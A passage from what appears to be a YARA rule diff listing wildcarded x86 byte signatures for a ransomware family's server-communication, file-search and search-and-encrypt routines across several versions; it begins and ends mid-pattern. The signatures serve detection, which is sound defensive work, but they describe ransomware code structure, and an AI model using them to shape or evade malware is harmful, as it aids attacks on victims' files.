?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 8B 00 53 33 DB 39 1D ?? ?? + ?? ?? A3 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 55 56 57 68 ?? ?? ?? ?? 8D 44 24 ?? 53 50 88 5C 24 ?? + E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 53 51 88 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 53 89 44 24 ?? 89 44 + 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? 51 8B 0D ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 51 8B 0D ?? ?? ?? + ?? 51 52 8B 15 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 52 + 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 52 8B 15 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 51 52 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 50 68 ?? ?? ?? ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8D 44 24 ?? 83 C4 ?? 8D 70 ?? 8A 08 83 C0 ?? 3A CB 75 + F7 8D 54 24 ?? 52 8D 8C 24 ?? ?? ?? ?? 51 2B C6 50 8D 54 24 ?? 52 E8 ?? ?? ?? ?? 8D 4C 24 ?? 51 8D 94 04 ?? ?? ?? ?? 52 + E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 83 + C4 ?? 53 53 53 53 52 FF 15 ?? ?? ?? ?? 8B F8 A1 ?? ?? ?? ?? 8B 0C 85 ?? ?? ?? ?? 8B 14 85 ?? ?? ?? ?? 51 53 52 FF 15 + } + $server_communication_0_2_6a_2 = { + A1 ?? ?? ?? ?? 8B 0C 85 ?? ?? ?? ?? 53 53 6A ?? 53 53 68 ?? ?? ?? ?? 51 57 FF 15 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? + 53 53 53 8D 54 24 ?? 52 8B E8 68 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B F0 8D 84 24 ?? ?? ?? ?? 53 50 88 9C + 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 53 53 56 89 5C 24 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? + ?? ?? 8D 4C 24 ?? 51 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 56 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 + E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 33 C0 68 ?? ?? ?? ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 C7 05 ?? ?? ?? ?? ?? + ?? ?? ?? 89 5C 24 ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? + ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 54 24 ?? 52 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? 56 8B 35 ?? ?? ?? ?? FF D6 + } + $server_communication_0_3_1_1 = { + 8B 0D ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 51 8B 0D ?? ?? + ?? ?? 51 8B 0D ?? ?? ?? ?? 51 52 8B 15 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? + ?? 53 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 52 8B 15 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 51 52 68 ?? ?? ?? ?? + 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8D 44 24 ?? 83 C4 ?? 8D 48 ?? + 8A 10 83 C0 ?? 3A D3 75 F7 55 56 57 2B C1 8D 54 24 ?? 52 8D 8C 24 ?? ?? ?? ?? 51 50 8D 54 24 ?? 52 E8 ?? ?? ?? ?? 8D 4C + 24 ?? 51 8D 94 04 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 + ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 83 C4 ?? 53 53 53 53 52 FF 15 ?? ?? ?? ?? 8B F8 A1 ?? ?? ?? ?? 8B 0C 85 ?? ?? ?? ?? 8B 14 + 85 ?? ?? ?? ?? 51 53 52 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 F8 ?? 53 53 6A ?? 53 53 73 23 8B 04 85 ?? ?? ?? ?? 6A ?? 50 + 57 FF 15 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 53 53 53 8D 4C 24 ?? 8B F0 51 EB 24 8B 14 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 57 FF + 15 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 53 53 8B F0 53 8D 44 24 ?? 50 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8C + } + $server_communication_0_3_1_2 = { + 24 ?? ?? ?? ?? 53 51 8B E8 88 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 53 53 55 89 5C 24 ?? FF 15 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 54 24 ?? 52 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 8D 8C + 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 33 C0 68 ?? ?? ?? ?? 8D 54 24 ?? 68 ?? + ?? ?? ?? 52 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 89 5C 24 ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? + ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 50 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8B 4C 24 ?? 51 E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 83 C4 ?? 55 FF D3 + } + $server_communication_0_3_3_1 = { + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D 50 ?? 8A 08 83 C0 ?? 84 C9 75 + F7 2B C2 75 0D 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 55 56 57 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 C6 44 24 ?? ?? E8 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ?? 51 C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 33 C0 + 83 C4 ?? 50 50 50 50 52 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F8 89 7C 24 ?? 33 F6 + EB 04 8B 7C 24 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ?? 51 E8 ?? + ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 56 51 + 8B 0D ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 51 52 8B 15 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 + 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 52 8B 15 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 51 + 52 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? + ?? 8D 44 24 ?? 83 C4 ?? 8D 48 ?? 8A 10 83 C0 ?? 84 D2 75 F7 2B C1 8D 54 24 ?? 52 8D 8C 24 ?? ?? ?? ?? 51 50 8D 54 24 + } + $server_communication_0_3_3_2 = { + 52 E8 ?? ?? ?? ?? 8D 4C 24 ?? 51 8D 94 04 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 4C 24 + ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 FE ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 7D 23 8B 14 B5 ?? ?? ?? ?? 6A ?? 52 + 57 FF D3 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8B F8 6A ?? 8D 44 24 ?? 50 EB 3C 8B 0C B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 57 FF + D3 8B 14 B5 ?? ?? ?? ?? 52 8B F8 8B 04 B5 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? + 8D 4C 24 ?? 51 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 6A ?? 52 8B E8 C6 84 24 ?? ?? ?? + ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 55 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 + C0 75 32 8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 51 55 FF 15 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 55 8B 2D ?? ?? ?? ?? FF D5 + } + $server_communication_0_3_4a_1 = { + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 C6 44 24 ?? + ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ?? 51 C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? 85 C0 75 0D 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 55 56 57 6A ?? 8D 54 24 ?? 6A ?? 52 E8 ?? ?? + ?? ?? A1 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F8 89 7C 24 ?? 33 F6 EB + 04 8B 7C 24 ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? 6A ?? 51 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? + ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? 51 8B 0D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 51 8B 0D + ?? ?? ?? ?? 56 51 8B 0D ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 51 52 8B 15 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? + 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 52 8B 15 ?? ?? ?? ?? 50 + A1 ?? ?? ?? ?? 51 52 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 + ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 52 8D 84 24 ?? ?? ?? ?? 50 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 83 C4 + ?? 50 8D 54 24 ?? 52 E8 ?? ?? ?? ?? 8D 4C 24 ?? 51 8D 94 04 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 68 + } + $server_communication_0_3_4a_2 = { + 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 FE ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 7D 23 8B 14 B5 ?? + ?? ?? ?? 6A ?? 52 57 FF D3 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8B F8 6A ?? 8D 44 24 ?? 50 EB 3C 8B 0C B5 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 51 57 FF D3 8B 14 B5 ?? ?? ?? ?? 52 8B F8 8B 04 B5 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? + 6A ?? 6A ?? 6A ?? 8D 4C 24 ?? 51 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 6A ?? 52 8B E8 + C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 55 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 85 C0 75 32 8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 51 55 FF 15 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 18 55 8B 2D ?? ?? ?? ?? FF D5 57 FF D5 83 C6 ?? 83 FE ?? 0F 8C CE + FD FF FF 8B 44 24 ?? 50 FF 15 + } + $server_communication_0_3_5a_1 = { + 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56 57 68 ?? ?? ?? ?? 8D 44 + 24 ?? 6A ?? 50 C6 44 24 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ?? 51 C6 84 24 ?? ?? ?? ?? ?? E8 ?? + ?? ?? ?? B8 ?? ?? ?? ?? 83 C4 ?? 8D 50 ?? 8B FF 8A 08 83 C0 ?? 84 C9 75 F7 2B C2 75 05 E8 ?? ?? ?? ?? 33 C0 50 50 50 50 + 68 ?? ?? ?? ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? 33 DB 68 ?? ?? ?? ?? 8D 54 24 ?? 6A ?? + 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 + C4 ?? 51 8B 0D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 53 51 8B 0D ?? ?? ?? ?? 51 8B 0D ?? + ?? ?? ?? 51 52 8B 15 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? + ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 52 8B 15 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 51 52 68 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 44 24 ?? + 83 C4 ?? 8D 70 ?? 8B FF 8A 08 83 C0 ?? 84 C9 75 F7 8D 94 24 ?? ?? ?? ?? 2B C6 52 8D 7C 24 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? + 8D 8C 04 ?? ?? ?? ?? 8B F7 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 B8 ?? ?? ?? ?? E8 + } + $server_communication_0_3_5a_2 = { + 8B 14 9D ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 83 FB ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 7D 20 6A ?? 52 50 FF 15 ?? ?? ?? + ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 4C 24 ?? 8B F0 51 EB 39 68 ?? ?? ?? ?? 52 50 FF 15 ?? ?? ?? ?? 8B 0C 9D ?? + ?? ?? ?? 8B 14 9D ?? ?? ?? ?? 51 6A ?? 52 8B F0 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 44 24 ?? 50 + 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ?? 51 8B F8 C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? + ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 57 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 32 8D 54 + 24 ?? 52 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? + ?? 83 C4 ?? 85 C0 75 18 57 8B 3D ?? ?? ?? ?? FF D7 56 FF D7 83 C3 ?? 83 FB ?? 0F 8C CD FD FF FF 8B 54 24 ?? 52 FF 15 + } + $server_communication_2_0_4e = { + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 83 3D ?? ?? + ?? ?? ?? 53 56 57 75 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? A1 ?? + ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 44 24 ?? B8 ?? ?? ?? + ?? 8D 50 ?? 33 DB 8A 08 40 3A CB 75 ?? 2B C2 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D + 8C 24 ?? ?? ?? ?? 53 51 88 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 53 53 68 + ?? ?? ?? ?? FF 15 + } + $search_and_encrypt_2_0_4e_1 = { + 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 8B 5D ?? 56 + 57 33 C0 68 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 66 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? 33 D2 68 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 66 89 95 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 83 C4 ?? 53 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? + ?? ?? ?? 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? + ?? 50 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B F0 89 B5 ?? ?? ?? ?? 83 FE ?? 0F 84 + } + $search_and_encrypt_2_0_4e_2 = { + 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? B8 ?? ?? + ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? + 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? + ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 + ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? + ?? ?? ?? 53 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 + } + $search_and_encrypt_2_0_4e_3 = { + 8B C3 83 C4 ?? 8D 50 ?? 90 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 83 F8 ?? 76 + ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D + ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? + ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 + ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 + } + $search_and_encrypt_2_0_4e_4 = { + 8D 8D ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? + 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 + 0F 84 ?? ?? ?? ?? 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? + 52 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? E9 ?? ?? ?? ?? 53 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 + C4 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D + 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 + } + $search_and_encrypt_2_0_4e_5 = { + 8D 85 ?? ?? ?? ?? 83 C4 ?? 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 8D 95 ?? + ?? ?? ?? D1 F8 52 8D 78 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 57 56 E8 ?? ?? ?? ?? 8B 3D + ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D7 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 56 FF D7 83 + C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 56 FF D7 83 C4 ?? 85 C0 75 ?? 8B C6 E8 ?? ?? ?? ?? + 83 F8 ?? 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? + 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 56 FF 15 + } + $server_communication_4_0_1 = { + 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 + } + $server_communication_4_0_2 = { + 8A 08 40 3A CB 75 ?? 2B ?? 50 8D ?? ?? ?? ?? ?? ?? [0-2] E8 ?? ?? ?? ?? 83 C4 04 8D + ?? 24 ?? ?? ?? ?? ?? (8B ??|8D ?? 24 ?? ?? ?? ??) ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? + C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 83 C4 08 8D ?? 01 [0-7] 8A 08 40 3A CB + 75 ?? 2B ?? 8B C8 8D 51 ?? 83 E2 ?? B8 ?? ?? ?? ?? 2B C2 50 50 8D 7C 01 ?? 8D 84 0C + ?? ?? ?? ?? 50 E8 + } + $server_communication_4_0_3 = { + 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? 51 8D 94 24 ?? ?? ?? ?? 52 8D 84 24 ?? ?? ?? ?? ?? [1-2] + 8D ?? 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? [0-3] 51 E8 ?? ?? ?? ?? + 8B 15 ?? ?? ?? ?? 83 C4 ?? 8B ?? 8B 42 ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 BA ?? ?? ?? ?? + E8 ?? ?? ?? ?? 83 C4 ?? ?? E8 ?? ?? ?? ?? 8B 54 24 ?? 83 C4 ?? 52 E8 ?? ?? ?? ?? 83 C4 + ?? 33 ?? 89 ?? 24 ?? 6A ?? 8D 44 24 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? B8 + ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 53 51 C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89 84 24 ?? + ?? ?? ?? 88 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? + ?? 53 52 88 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? 83 C4 ?? 8D 50 + } + $file_search_4_0_1 = { + 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 57 33 C0 68 + ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 66 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 68 ?? + ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 66 89 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? + ?? 6A ?? 51 E8 + } + $file_search_4_0_2 = { + 74 ?? FF 15 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? 52 EB ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? + ?? ?? A1 ?? ?? ?? ?? 8B 48 ?? 51 8D 95 ?? ?? ?? ?? 52 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? + 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 8B F0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + 64 A1 ?? ?? ?? ?? 3E 8B 40 ?? 89 85 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 